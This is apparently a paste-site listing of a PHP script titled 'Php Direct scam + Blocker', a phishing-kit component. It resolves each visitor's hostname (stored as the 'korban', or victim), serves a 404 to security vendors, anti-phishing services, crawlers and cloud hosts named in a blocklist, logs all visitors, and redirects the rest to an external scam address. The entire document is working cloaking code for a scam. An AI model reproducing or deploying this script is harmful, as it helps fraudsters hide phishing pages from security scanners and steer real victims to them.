b3gund4L icon

Php Direct scam + Blocker

b3gund4L | PRO | 08/29/18 09:20:45 AM UTC | 0 ⭐ | 38110 👁️ | Never ⏰ | []
PHP |

1.74 KB

|

None

|

0 👍

/

0 👎

<?php
 
$blocked_words = array(
'amazon',
'aruba',
'above',
'google',
'tor',
'softlayer',
'amazonaws',
'cyveillance',
'phishtank',
'dreamhost',
'netpilot',
'calyxinstitute',
'tor-exit', 
'msnbot',
'p3pwgdsn',
'netcraft',
'194.72.238',
'69.164.111.198',
'banff',
'auchroisk',
'trendmicro',
'ebay',
'paypal',
'torservers',
'comodo',
'crawl',
'sucuri.net',
'crawler',
'proxy',
'enom',
'cloudflare',
'yahoo',
'trustwave', 
'rima-tde.net', 
'tfbnw.net', 
'pacbell.net', 
'tpnet.pl', 
'ovh.net', 
'centralnic', 
'badware',
'phishing',
'antivirus',
'SiteAdvisor',
'McAfee',
'Bitdefender',
'barracuda',
'anti',
'mail',
'phis',
'tester',
'bit',
'security',
'secure',
'52.168.72.225',
'cloud',
'162.243.187.126',
'46.101.94.163',
'46.101.119.24'
);
 
$today = getdate();
$date = ''.$today['weekday'].' - '.$today['mday'].' '.$today['month'].' '.$today['year'].' - '.$today['hours'].':'.$today['minutes'].':'.$today['seconds'].'';
 
 
function inStr($s, $as){
    $s = strtoupper($s);
    if(!is_array($as)) $as=array($as);
    for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
    return false;
}
 
$host_korban = ''.$_SERVER['REMOTE_ADDR'].' - '.gethostbyaddr($_SERVER['REMOTE_ADDR']).'';
 
if(inStr($host_korban, $blocked_words)){
    $file = fopen("data-.txt","a");
    fwrite($file, $date." : ".$_SERVER['REMOTE_ADDR']." - ".gethostbyaddr($_SERVER['REMOTE_ADDR'])."\n");
    fclose($file);
    header("HTTP/1.0 404 Not Found");
    die();
}else{
    $file = fopen("data.txt","a");
    fwrite($file, $date." : ".$_SERVER['REMOTE_ADDR']." - ".gethostbyaddr($_SERVER['REMOTE_ADDR'])."\n");
    fclose($file);
    header("Location: https://iosappsupdate.com/_");
}
 
?>

Comments